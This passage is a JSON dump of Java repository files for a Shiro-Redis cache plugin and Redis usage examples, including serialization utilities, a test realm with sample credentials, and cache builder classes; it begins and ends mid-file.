serializedBytes a serialized object\n\t * @return the result of deserializing the bytes\n\t */\n\tpublic static Object deserialize(final byte[] serializedBytes) {\n\t\tif (null == serializedBytes || serializedBytes.length == 0) {\n\t\t\treturn null;\n\t\t}\n\t\tObject source = null;\n\t\tByteArrayInputStream byteInStream = null;\n\t\tObjectInputStream objectInStream = null;\n\t\ttry {\n\t\t\tbyteInStream = new ByteArrayInputStream(serializedBytes);\n\t\t\tobjectInStream = new ObjectInputStream(byteInStream);\n\t\t\ttry {\n\t\t\t\tsource = objectInStream.readObject();\n\t\t\t} catch (ClassNotFoundException ex) {\n\t\t\t\tthrow new SerializationException(\"Failed to deserialize object type.\", ex);\n\t\t\t}\n\t\t\tif (logger.isDebugEnabled()) {\n\t\t\t\tlogger.debug(\"SerializedBytes deserialzed successfully.\");\n\t\t\t}\n\t\t} catch (Throwable e) {\n\t\t\tlogger.error(\"Failed to deserialize.\", e);\n\t\t} finally {\n\t\t\tif (objectInStream != null) {\n\t\t\t\ttry {\n\t\t\t\t\tobjectInStream.close();\n\t\t\t\t\tbyteInStream.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\t// ignore\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn source;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/shiro-redis/src/main/java/org/iherus/shiro/util/StringUtils.java",
    "content": "/**\n * Copyright (c) 2016-~, Bosco.Liao (bosco_liao@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a copy of\n * the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n */\npackage org.iherus.shiro.util;\n\n/**\n * <p>字符串工具类</p>\n * <p>Description:提供空值判断、字符串截取和获取字符串长度等功能.</p>\n * @author Wujun\n * @version 1.0.0\n * @date 2016年4月10日-下午11:20:04\n */\npublic final class StringUtils {\n\n\tprivate static final String EMPTY = \"\";\n\n\tprivate StringUtils() {\n\n\t}\n\n\t/**\n\t * <p>\n\t * Checks if a CharSequence is empty (\"\") or null.\n\t * </p>\n\t */\n\tpublic static boolean isEmpty(final CharSequence cs) {\n\t\treturn cs == null || cs.length() == 0;\n\t}\n\n\t/**\n\t * <p>\n\t * Checks if a CharSequence is not empty (\"\") and not null.\n\t * </p>\n\t */\n\tpublic static boolean isNotEmpty(final CharSequence cs) {\n\t\treturn !isEmpty(cs);\n\t}\n\n\t/**\n\t * <p>\n\t * Checks if a CharSequence is whitespace, empty (\"\") or null.\n\t * </p>\n\t */\n\tpublic static boolean isBlank(final CharSequence cs) {\n\t\tint strLen;\n\t\tif (cs == null || (strLen = cs.length()) == 0) {\n\t\t\treturn true;\n\t\t}\n\t\tfor (int i = 0; i < strLen; i++) {\n\t\t\tif (Character.isWhitespace(cs.charAt(i)) == false) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t}\n\n\t/**\n\t * <p>\n\t * Checks if a CharSequence is not empty (\"\"), not null and not whitespace\n\t * only.\n\t * </p>\n\t */\n\tpublic static boolean isNotBlank(final CharSequence cs) {\n\t\treturn !isBlank(cs);\n\t}\n\n\t/**\n\t * <p>\n\t * Remove the Spaces before and after.\n\t * </p>\n\t */\n\tpublic static String trim(final String str) {\n\t\treturn str == null ? null : str.trim();\n\t}\n\n\t/**\n\t * <p>\n\t * Remove the Spaces before and after,if empty, return null.\n\t * </p>\n\t */\n\tpublic static String trimToNull(final String str) {\n\t\tfinal String ts = trim(str);\n\t\treturn isEmpty(ts) ? null : ts;\n\t}\n\n\t/**\n\t * <p>\n\t * Remove the Spaces before and after,if null,return empty.\n\t * </p>\n\t */\n\tpublic static String trimToEmpty(final String str) {\n\t\treturn str == null ? EMPTY : str.trim();\n\t}\n\n\t/**\n\t * <p>\n\t * Intercept a CharSequence base on String.\n\t * </p>\n\t */\n\tpublic static String substring(final String str, int start) {\n\t\tif (str == null) {\n\t\t\treturn null;\n\t\t}\n\t\tif (start < 0) {\n\t\t\tstart = str.length() + start;\n\t\t}\n\t\tif (start < 0) {\n\t\t\tstart = 0;\n\t\t}\n\t\tif (start > str.length()) {\n\t\t\treturn EMPTY;\n\t\t}\n\t\treturn str.substring(start);\n\t}\n\n\t/**\n\t * <p>\n\t * Intercept a CharSequence base on String.\n\t * </p>\n\t */\n\tpublic static String substring(final String str, int start, int end) {\n\t\tif (str == null) {\n\t\t\treturn null;\n\t\t}\n\t\tif (end < 0) {\n\t\t\tend = str.length() + end;\n\t\t}\n\t\tif (start < 0) {\n\t\t\tstart = str.length() + start;\n\t\t}\n\t\tif (end > str.length()) {\n\t\t\tend = str.length();\n\t\t}\n\t\tif (start > end) {\n\t\t\treturn EMPTY;\n\t\t}\n\t\tif (start < 0) {\n\t\t\tstart = 0;\n\t\t}\n\t\tif (end < 0) {\n\t\t\tend = 0;\n\t\t}\n\t\treturn str.substring(start, end);\n\t}\n\n\t/**\n\t * Gets a CharSequence length or {@code 0} if the CharSequence is\n\t * {@code null}.\n\t */\n\tpublic static int length(final CharSequence cs) {\n\t\treturn cs == null ? 0 : cs.length();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/shiro-redis/src/test/java/org/iherus/shiro/tester/CustomRealm.java",
    "content": "/**\n * Copyright (c) 2016-~, Bosco.Liao (bosco_liao@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a copy of\n * the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n */\npackage org.iherus.shiro.tester;\n\nimport java.util.HashSet;\nimport java.util.Set;\n\nimport org.apache.shiro.SecurityUtils;\nimport org.apache.shiro.authc.AuthenticationException;\nimport org.apache.shiro.authc.AuthenticationInfo;\nimport org.apache.shiro.authc.AuthenticationToken;\nimport org.apache.shiro.authc.SimpleAuthenticationInfo;\nimport org.apache.shiro.authz.AuthorizationInfo;\nimport org.apache.shiro.authz.SimpleAuthorizationInfo;\nimport org.apache.shiro.realm.AuthorizingRealm;\nimport org.apache.shiro.subject.PrincipalCollection;\nimport org.apache.shiro.util.ByteSource;\n\n/**\n * <p>CustomRealm</p>\n * <p>Description:</p>\n * @author Wujun\n * @version 1.0.0\n * @date 2016年4月12日-下午9:24:44\n */\npublic class CustomRealm extends AuthorizingRealm {\n\n\t@Override\n\tprotected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) throws AuthenticationException {\n\n\t\tString caccount = (String) token.getPrincipal();\n\n\t\tif (\"\".equals(caccount) || null == caccount) {\n\t\t\treturn null;\n\t\t}\n\n\t\t// Connects DB, get user data.(production environment)\n\n\t\t// Constructing virtual data.(testing environment)\n\n\t\tfinal String password = \"3d82edb0f2cf95c1fbe636cf124c3618\"; //correct password (123456)\n\t\t//final String password = \"4d82edb0f2cf95c1fbe636cf124c3620\"; //incorrect password\n\t\tfinal String salt = \"tester\";\n\t\tfinal String saccount = salt;\n\t\tfinal String realname = saccount;\n\n\t\tUser user = new User(1, saccount, realname, password, salt, 25, null);\n\n\t\t// permissions\n\t\tSet<String> permissions = new HashSet<String>();\n\t\tpermissions.add(\"user:query\");\n\t\tpermissions.add(\"user:create\");\n\t\tpermissions.add(\"user:update\");\n\t\tpermissions.add(\"user:delete\");\n\n\t\tuser.setPermissions(permissions);\n\n\t\tSimpleAuthenticationInfo info = new SimpleAuthenticationInfo(user, user.getPassword(),\n\t\t\t\tByteSource.Util.bytes(user.getSalt()), user.getRealname());\n\n\t\treturn info;\n\t}\n\n\t@Override\n\tprotected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principals) {\n\t\t\n\t\tUser user = (User) principals.getPrimaryPrincipal();\n\t\t\n\t\tSimpleAuthorizationInfo info = new SimpleAuthorizationInfo();\n\t\t\n\t\tinfo.addStringPermissions(user.getPermissions());\n\t\t\n\t\treturn info;\n\t}\n\t\n\t/**\n\t * Clear Shiro Cache.\n\t */\n\tpublic void clearCache() {\n\t\tPrincipalCollection principals = SecurityUtils.getSubject().getPrincipals();\n\t\tsuper.clearCache(principals);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/shiro-redis/src/test/java/org/iherus/shiro/tester/MD5Generator.java",
    "content": "/**\n * Copyright (c) 2016-~, Bosco.Liao (bosco_liao@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a copy of\n * the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n */\npackage org.iherus.shiro.tester;\n\nimport org.apache.shiro.crypto.hash.Md5Hash;\nimport org.junit.Test;\n\npublic class MD5Generator {\n\n\t@Test\n\tpublic void generatorMD5() {\n\n\t\tfinal String source = \"123456\"; // 明文密码\n\n\t\tfinal String salt = \"tester\"; // 盐值\n\n\t\tfinal int hashIterations = 2; // 散列次数，例如：2 等于 MD5(md5())\n\n\t\tMd5Hash md5Hash = new Md5Hash(source, salt, hashIterations);\n\n\t\t// 上述的底层实现如下：\n\t\t// SimpleHash sh = new SimpleHash(\"MD5\", source, salt, hashIterations);\n\t\t\n\t\tSystem.out.println(md5Hash.toString());\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/shiro-redis/src/test/java/org/iherus/shiro/tester/SimpleCacheTest.java",
    "content": "/**\n * Copyright (c) 2016-~, Bosco.Liao (bosco_liao@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a copy of\n * the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n */\npackage org.iherus.shiro.tester;\n\nimport org.apache.shiro.SecurityUtils;\nimport org.apache.shiro.authc.AuthenticationException;\nimport org.apache.shiro.authc.UsernamePasswordToken;\nimport org.apache.shiro.authz.AuthorizationException;\nimport org.apache.shiro.config.IniSecurityManagerFactory;\nimport org.apache.shiro.mgt.SecurityManager;\nimport org.apache.shiro.subject.Subject;\nimport org.apache.shiro.util.Factory;\nimport org.junit.After;\nimport org.junit.Before;\nimport org.junit.Test;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\npublic class SimpleCacheTest {\n\t\n\tprivate static final Logger logger = LoggerFactory.getLogger(SimpleCacheTest.class);\n\t\n\tprivate Subject subject = null;\n\t\n\t@Before\n\tpublic void init() {\n\t\tFactory<SecurityManager> factory = new IniSecurityManagerFactory(\"classpath:shiro-realm-test.ini\");\n\t\tSecurityManager securityManager =  factory.getInstance();\n\t\tSecurityUtils.setSecurityManager(securityManager);\n\t\tsubject = SecurityUtils.getSubject();\n\t}\n\t\n\t@Test\n\tpublic void authorization() {\n\t\t\n\t\tUsernamePasswordToken token = new UsernamePasswordToken(\"tester\", \"123456\");\n\n\t\ttry {\n\t\t\t//Authentication\n\t\t\tthis.subject.login(token);\n\t\t\tif (logger.isDebugEnabled()) {\n\t\t\t\tlogger.debug(\"Authentication result is {}.\", this.subject.isAuthenticated());\n\t\t\t}\n\t\t\tfinal String[] permissions = {\"user:create\", \"user:update\"};\n\t\t\t//authorization\n\t\t\tthis.subject.checkPermissions(permissions);\n\t\t\t\n\t\t} catch (AuthenticationException e1) {\n\t\t\te1.printStackTrace(); //身份认证异常\n\t\t} catch (AuthorizationException e2) {\n\t\t\te2.printStackTrace();\n\t\t}\t\n\t}\n\t\n\t@After\n\tpublic void destory() {\n\t\t//Logout will clear the cache, Please be careful.\n\t\tthis.subject.logout(); \n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/shiro-redis/src/test/java/org/iherus/shiro/tester/User.java",
    "content": "/**\n * Copyright (c) 2016-~, Bosco.Liao (bosco_liao@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a copy of\n * the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n */\npackage org.iherus.shiro.tester;\n\nimport java.io.Serializable;\nimport java.util.Date;\nimport java.util.HashSet;\nimport java.util.Set;\n\npublic class User implements Serializable {\n\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = -2378517398066137981L;\n\t\n\tprivate Integer id;\n\t\n\tprivate String account;\n\t\n\tprivate String realname;\n\t\n\tprivate String password;\n\t\n\tprivate String salt;\n\t\n\tprivate Integer age;\n\t\n\tprivate String email;\n\t\n\tprivate Date createTime;\n\t\n\tprivate Set<String> permissions = new HashSet<String>();\n\n\tpublic User() {\n\t\tsuper();\n\t}\n\n\tpublic User(Integer id, String account, String realname, String password, \n\t\t\tString salt, Integer age, String email) {\n\t\tsuper();\n\t\tthis.id = id;\n\t\tthis.account = account;\n\t\tthis.realname = realname;\n\t\tthis.password = password;\n\t\tthis.salt = salt;\n\t\tthis.age = age;\n\t\tthis.email = email;\n\t\tthis.createTime = new Date();\n\t}\n\n\tpublic Integer getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(Integer id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic String getAccount() {\n\t\treturn account;\n\t}\n\n\tpublic void setAccount(String account) {\n\t\tthis.account = account;\n\t}\n\t\n\tpublic String getRealname() {\n\t\treturn realname;\n\t}\n\n\tpublic void setRealname(String realname) {\n\t\tthis.realname = realname;\n\t}\n\n\tpublic String getPassword() {\n\t\treturn password;\n\t}\n\n\tpublic void setPassword(String password) {\n\t\tthis.password = password;\n\t}\n\n\tpublic String getSalt() {\n\t\treturn salt;\n\t}\n\n\tpublic void setSalt(String salt) {\n\t\tthis.salt = salt;\n\t}\n\n\tpublic Integer getAge() {\n\t\treturn age;\n\t}\n\n\tpublic void setAge(Integer age) {\n\t\tthis.age = age;\n\t}\n\n\tpublic String getEmail() {\n\t\treturn email;\n\t}\n\n\tpublic void setEmail(String email) {\n\t\tthis.email = email;\n\t}\n\n\tpublic Date getCreateTime() {\n\t\treturn createTime;\n\t}\n\n\tpublic void setCreateTime(Date createTime) {\n\t\tthis.createTime = createTime;\n\t}\n\n\tpublic Set<String> getPermissions() {\n\t\treturn permissions;\n\t}\n\n\tpublic void setPermissions(Set<String> permissions) {\n\t\tthis.permissions = permissions;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn \"User [id=\" + id + \", account=\" + account + \", realname=\" + realname + \", password=\" + password\n\t\t\t\t+ \", salt=\" + salt + \", age=\" + age + \", email=\" + email + \", createTime=\" + createTime\n\t\t\t\t+ \", permissions=\" + permissions + \"]\";\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/shiro-redis/src/test/resources/log4j.properties",
    "content": "log4j.rootLogger=debug,stdout\nlog4j.appender.stdout=org.apache.log4j.ConsoleAppender\nlog4j.appender.stdout.layout=org.apache.log4j.PatternLayout\nlog4j.appender.stdout.layout.ConversionPattern=%d %p [%c] - %m %n\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/shiro-redis/src/test/resources/shiro-realm-test.ini",
    "content": "[main]\n#\\u5b9a\\u4e49\\u51ed\\u8bc1\\u5339\\u914d\\u5668\ncredentialsMatcher=org.apache.shiro.authc.credential.HashedCredentialsMatcher\n#\\u6563\\u5217\\u7b97\\u6cd5\ncredentialsMatcher.hashAlgorithmName=MD5\n#\\u6563\\u5217\\u6b21\\u6570\ncredentialsMatcher.hashIterations=2\n\n#\\u5b9a\\u4e49\\u7f13\\u5b58\\u6c60\\u914d\\u7f6e\npoolConfig=redis.clients.jedis.JedisPoolConfig\npoolConfig.minIdle=3\npoolConfig.maxIdle=20\npoolConfig.maxWaitMillis=1000\npoolConfig.maxTotal=300\n#\\u5b9a\\u4e49\\u7f13\\u5b58\\u914d\\u7f6e\\u5de5\\u5382\nconfigFactory=org.iherus.shiro.cache.redis.RedisCacheConfigFactory\nconfigFactory.poolConfig=$poolConfig\n#\\u5b9a\\u4e49\\u7f13\\u5b58\\u7ba1\\u7406\\u5668\ncacheManager=org.iherus.shiro.cache.redis.RedisCacheManager\ncacheManager.configFactory=$configFactory\n\n#\\u5c06\\u51ed\\u8bc1\\u5339\\u914d\\u5668\\u8bbe\\u7f6e\\u5230realm\ncustomRealm=org.iherus.shiro.tester.CustomRealm\ncustomRealm.credentialsMatcher=$credentialsMatcher\nsecurityManager.realms=$customRealm\nsecurityManager.cacheManager=$cacheManager"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/main/java/RedisJava.java",
    "content": "import redis.clients.jedis.Jedis;\n\nimport java.util.List;\nimport java.util.Set;\n\n/**\n * Created by Administrator on 2017/11/7.\n */\npublic class RedisJava {\n    public static void main(String[] args) throws InterruptedException {\n        // 连接Redis数据库\n        Jedis jedis = new Jedis(\"127.0.0.1\", 6379, 60000);\n        System.out.println(\"连接成功\");\n        System.out.println(\"服务正在运行: \" + jedis.ping());\n        jedis.set(\"string_key\", \"你好！\");\n        System.out.println(\"string……\");\n        System.out.println(jedis.get(\"string_key\"));\n        if (jedis.exists(\"list_key\")) {\n            jedis.del(\"list_key\");\n        }\n        jedis.lpush(\"list_key\", \"list1\", \"list2\", \"list3\");\n        List<String> list = jedis.lrange(\"list_key\", 0, 20);\n        System.out.println(\"list……\");\n        for (String s : list) {\n            System.out.println(s);\n        }\n        jedis.sadd(\"set_key\", \"set1\", \"set2\", \"set3\");\n        Set<String> set = jedis.smembers(\"set_key\");\n        System.out.println(\"set……\");\n        for (String s : set) {\n            System.out.println(s);\n        }\n        jedis.zadd(\"zset_key\", 1, \"zset1\");\n        jedis.zadd(\"zset_key\", 2, \"zset2\");\n        jedis.zadd(\"zset_key\", 0, \"zset3\");\n        Set<String> zset = jedis.zrange(\"zset_key\", 0, 10);\n        System.out.println(\"zset……\");\n        for (String s : zset) {\n            System.out.println(s);\n        }\n        jedis.hset(\"hash_key\", \"field1\", \"value1\");\n        jedis.hset(\"hash_key\", \"field2\", \"value2\");\n        System.out.println(jedis.hget(\"hash_key\", \"field2\"));\n        System.out.println(\"hash……\");\n        List<String> hashValues = jedis.hmget(\"hash_key\", \"field1\", \"field2\");\n        for (String s : hashValues) {\n            System.out.println(s);\n        }\n\n        jedis.set(\"key1\", \"value1\");\n        jedis.expire(\"key1\", 5);\n        Thread.sleep(6 * 1000);\n        if (!jedis.exists(\"key1\")) {\n            System.out.println(\"已失效\");\n        }\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/main/java/SerializeUtil.java",
    "content": "//import java.io.ByteArrayInputStream;\n//import java.io.ByteArrayOutputStream;\n//import java.io.IOException;\n//import java.io.ObjectInputStream;\n//import java.io.ObjectOutputStream;\n//\n//import redis.clients.jedis.Jedis;\n//\n//public class SerializeUtil {\n// public static void main(String [] args){\n//  Jedis jedis = new Jedis(\"172.16.135.2\");\n//  String keys = \"name\";\n//  //删数据\n//  //jedis.del(keys);\n//  //存数据\n//  jedis.set(keys, \"zy\");\n//  //取数据\n//  String value = jedis.get(keys);\n//System.out.println(value);\n//  \n//  //存对象\n//  Person p=new Person(); //peson类记得实现序列化接口Serializable\n//  p.setAge(20);\n//  p.setName(\"姚波\");\n//  p.setId(1);\n//  jedis.set(\"person\".getBytes(), serialize(p));\n//  byte[] byt=jedis.get(\"person\".getBytes());\n//  Object obj=unserizlize(byt);\n//  if(obj instanceof Person){\n//System.out.println(obj);\n//  }\n// }\n// \n// //序列化\n// public static byte [] serialize(Object obj){\n//  ObjectOutputStream obi=null;\n//  ByteArrayOutputStream bai=null;\n//  try {\n//   bai=new ByteArrayOutputStream();\n//   obi=new ObjectOutputStream(bai);\n//   obi.writeObject(obj);\n//   byte[] byt=bai.toByteArray();\n//   return byt;\n//  } catch (IOException e) {\n//   e.printStackTrace();\n//  }\n//  return null;\n// }\n// \n// //反序列化\n// public static Object unserizlize(byte[] byt){\n//  ObjectInputStream oii=null;\n//  ByteArrayInputStream bis=null;\n//  bis=new ByteArrayInputStream(byt);\n//  try {\n//   oii=new ObjectInputStream(bis);\n//   Object obj=oii.readObject();\n//   return obj;\n//  } catch (Exception e) {\n//   \n//   e.printStackTrace();\n//  }\n// \n//  \n//  return null;\n// }\n//}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/main/java/com/jun/plugin/redis/bean/User.java",
    "content": "package com.jun.plugin.redis.bean;\n\nimport java.io.Serializable;\n\n/**\n * Created by Administrator on 2017/11/7.\n */\npublic class User implements Serializable {\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/main/java/com/jun/plugin/redis/service/RedisService.java",
    "content": "package com.jun.plugin.redis.service;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.data.redis.core.ListOperations;\nimport org.springframework.data.redis.core.RedisTemplate;\nimport org.springframework.data.redis.core.ValueOperations;\nimport org.springframework.stereotype.Service;\n\nimport com.jun.plugin.redis.bean.User;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Created by Administrator on 2017/11/7.\n */\n@Service\npublic class RedisService {\n\n    @Autowired\n    private RedisTemplate redisTemplate;\n\n    public String getById(int id) {\n        // 查找用户\n        ValueOperations<String, String> valueOperations = redisTemplate.opsForValue();\n        String value = valueOperations.get(id + \"\");\n        if (value != null) {\n            System.out.println(\"从缓存中拿数据\");\n            return value;\n        } else {\n            // 去数据库里拿\n            String a = \"test\";\n            valueOperations.set(id + \"\", a);\n            return a;\n        }\n    }\n\n    public List<User> listAll() {\n        ListOperations<String, User> listOperations = redisTemplate.opsForList();\n        List<User> userList = listOperations.range(\"list_user\", 0, 20);\n        if (userList != null && userList.size() > 0) {\n            System.out.println(\"从缓存中拿数据\");\n            return userList;\n        } else {\n            // 模拟从数据库拿数据\n            List<User> userList1 = new ArrayList<User>();\n            userList1.add(new User());\n            listOperations.leftPushAll(\"list_user\", userList1);\n            return userList1;\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/main/java/com/jun/plugin/rediscache/builder/AbstractCacheBuilder.java",
    "content": "package com.jun.plugin.rediscache.builder;\n\nimport java.util.Map;\nimport java.util.concurrent.Callable;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.Future;\nimport java.util.concurrent.locks.ReentrantLock;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\npublic abstract class AbstractCacheBuilder<T> implements CacheBuilder<T> {\n\n    protected static final Logger CACHE_BUILDER_LOG = LoggerFactory.getLogger(AbstractCacheBuilder.class);\n    protected static final ExecutorService asyncService = Executors.newCachedThreadPool();\n\n    protected int expireSeconds = 30;\n    protected boolean autoRefresh = false;\n    protected String keyPrefix = \"\";\n    protected volatile boolean loadingMutex = false;\n\n    protected ReentrantLock loadingLock = new ReentrantLock();\n    protected Map<String, Future<T>> keyLoadingTask = new ConcurrentHashMap<>();\n\n    public class AsyncBuilder implements Callable<T> {\n\n        private String key;\n\n        public AsyncBuilder(String key) {\n            this.key = key;\n        }\n\n        @Override\n        public T call() throws Exception {\n            T obj = null;\n            try {\n                obj = build(key);\n            } finally {\n                loadingLock.lock();\n                try {\n                    keyLoadingTask.remove(key);\n                } finally {\n                    loadingLock.unlock();\n                }\n            }\n            return obj;\n        }\n\n    }\n\n    @Override\n    public T asyncBuild(String key) throws Exception {\n        if (this.loadingMutex) {\n            boolean asyncSuccess = false;\n            Future<T> future = keyLoadingTask.get(key);\n            if (null == future) {\n                loadingLock.lock();\n                try {\n                    future = keyLoadingTask.get(key);\n                    if (null == future) {\n                        try {\n                            future = asyncService.submit(new AsyncBuilder(key));\n                            asyncSuccess = true;\n                        } catch (Exception e) {\n                            future = null;\n                        }\n                        if (asyncSuccess && null != future) {\n                            keyLoadingTask.put(key, future);\n                        }\n                    }\n                } finally {\n                    loadingLock.unlock();\n                }\n            } else {\n                return future.get();\n            }\n            // 异步线程提交线程池处理失败，直接返回结果\n            if (!asyncSuccess && null == future) {\n                return build(key);\n            }\n            return future.get();\n        } else {\n            return build(key);\n        }\n    }\n\n    @Override\n    public T build(String key) throws Exception {\n        if (CACHE_BUILDER_LOG.isDebugEnabled()) {\n            CACHE_BUILDER_LOG.debug(\"load data for key:\" + key);\n        }\n        T ret = buildIntern(key);\n        return ret;\n    }\n\n    public abstract T buildIntern(String key) throws Exception;\n\n    @Override\n    public CacheBuilder<T> setLoadingMutex(boolean loadingMutex) {\n        this.loadingMutex = loadingMutex;\n        return this;\n    }\n\n    @Override\n    public CacheBuilder<T> setExpireSeconds(int expireSeconds) {\n        this.expireSeconds = expireSeconds;\n        return this;\n    }\n\n    @Override\n    public CacheBuilder<T> setAutoRefresh(boolean autoRefresh) {\n        this.autoRefresh = autoRefresh;\n        return this;\n    }\n\n    @Override\n    public CacheBuilder<T> setKeyPrefix(String keyPrefix) {\n        if (null == keyPrefix) {\n            keyPrefix = \"\";\n        } else {\n            this.keyPrefix = keyPrefix;\n        }\n        return this;\n    }\n\n    @Override\n    public boolean getLoadingMutex() {\n        return this.loadingMutex;\n    }\n\n    @Override\n    public int getExpireSeconds() {\n        return this.expireSeconds;\n    }\n\n    @Override\n    public boolean getAutoRefresh() {\n        return this.autoRefresh;\n    }\n\n    @Override\n    public String getKeyPrefix() {\n        return this.keyPrefix;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/main/java/com/jun/plugin/rediscache/builder/CacheBuilder.java",
    "content": "package com.jun.plugin.rediscache.builder;\n\n\npublic interface CacheBuilder<T> {\n    T build(String key) throws Exception;\n    \n    T asyncBuild(String key) throws Exception;\n\n    CacheBuilder<T> setExpireSeconds(int expireSeconds);\n\n    CacheBuilder<T> setAutoRefresh(boolean autoRefresh);\n\n    CacheBuilder<T> setKeyPrefix(String keyPrefix);\n\n    CacheBuilder<T> setLoadingMutex(boolean loadingMutex);\n    \n    int getExpireSeconds();\n\n    boolean getAutoRefresh();\n\n    String getKeyPrefix();\n    \n    boolean getLoadingMutex();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/main/java/com/jun/plugin/rediscache/builder/CacheBuilderFactory.java",
    "content": "package com.jun.plugin.rediscache.builder;\n\npublic class CacheBuilderFactory<T> {\n\n    private boolean autoRefresh;\n    private String keyPrefix;\n    private int expireSeconds;\n    private boolean loadingMutex;\n\n    private CacheBuilderFactory() {\n        autoRefresh = false;\n        keyPrefix = \"Cache_\" + System.currentTimeMillis() + \"_\";\n        expireSeconds = 30;\n        loadingMutex = false;\n    }\n\n    public static CacheBuilderFactory<Object> newBuilder() {\n        return new CacheBuilderFactory<Object>();\n    }\n\n    public CacheBuilderFactory<T> keyPrefix(String keyPrefix) {\n        this.keyPrefix = keyPrefix;\n        return this;\n    }\n\n    public CacheBuilderFactory<T> expireSeconds(int expireSeconds) {\n        this.expireSeconds = expireSeconds;\n        return this;\n    }\n\n    public CacheBuilderFactory<T> autoRefresh(boolean autoRefresh) {\n        this.autoRefresh = autoRefresh;\n        return this;\n    }\n\n    public CacheBuilderFactory<T> loadingMutex(boolean loadingMutex) {\n        this.loadingMutex = loadingMutex;\n        return this;\n    }\n\n    public <T1 extends T> CacheBuilder<T1> build(CacheBuilder<T1> cacheBuilder) {\n        cacheBuilder.setAutoRefresh(this.autoRefresh).setExpireSeconds(this.expireSeconds).setKeyPrefix(this.keyPrefix)\n                .setLoadingMutex(loadingMutex);\n        return cacheBuilder;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_redis/src/main/java/com/jun/plugin/rediscache/loader/AbstractCacheLoader.java",
    "content": "package com.jun.plugin.rediscache.loader;\n\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.SynchronousQueue;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.google.common.eventbus.AsyncEventBus;\nimport com.google.common.eventbus.Subscribe;\nimport com.jun.plugin.rediscache.builder.CacheBuilder;\nimport com.jun.plugin.rediscache.serialize.Serializer;\n\npublic abstract class AbstractCacheLoader implements CacheLoader {\n    protected static final Logger log = LoggerFactory.getLogger(AbstractCacheLoader.class);\n    protected Serializer serializer;\n\n    protected ExecutorService loadThreads = new ThreadPoolExecutor(0, 200, 1L, TimeUnit.SECONDS,\n            new SynchronousQueue<Runnable>());\n\n    protected AsyncEventBus asyncEventBus;\n\n    public AbstractCacheLoader() {\n        asyncEventBus = new AsyncEventBus(loadThreads);\n        asyncEventBus.register(this);\n    }\n\n    protected <T> T loadData(String key, String cacheKey, CacheBuilder<T> builder) throws Exception {\n        try {\n            T ret = builder.asyncBuild(key);\n            saveData(cacheKey, builder, ret);\n            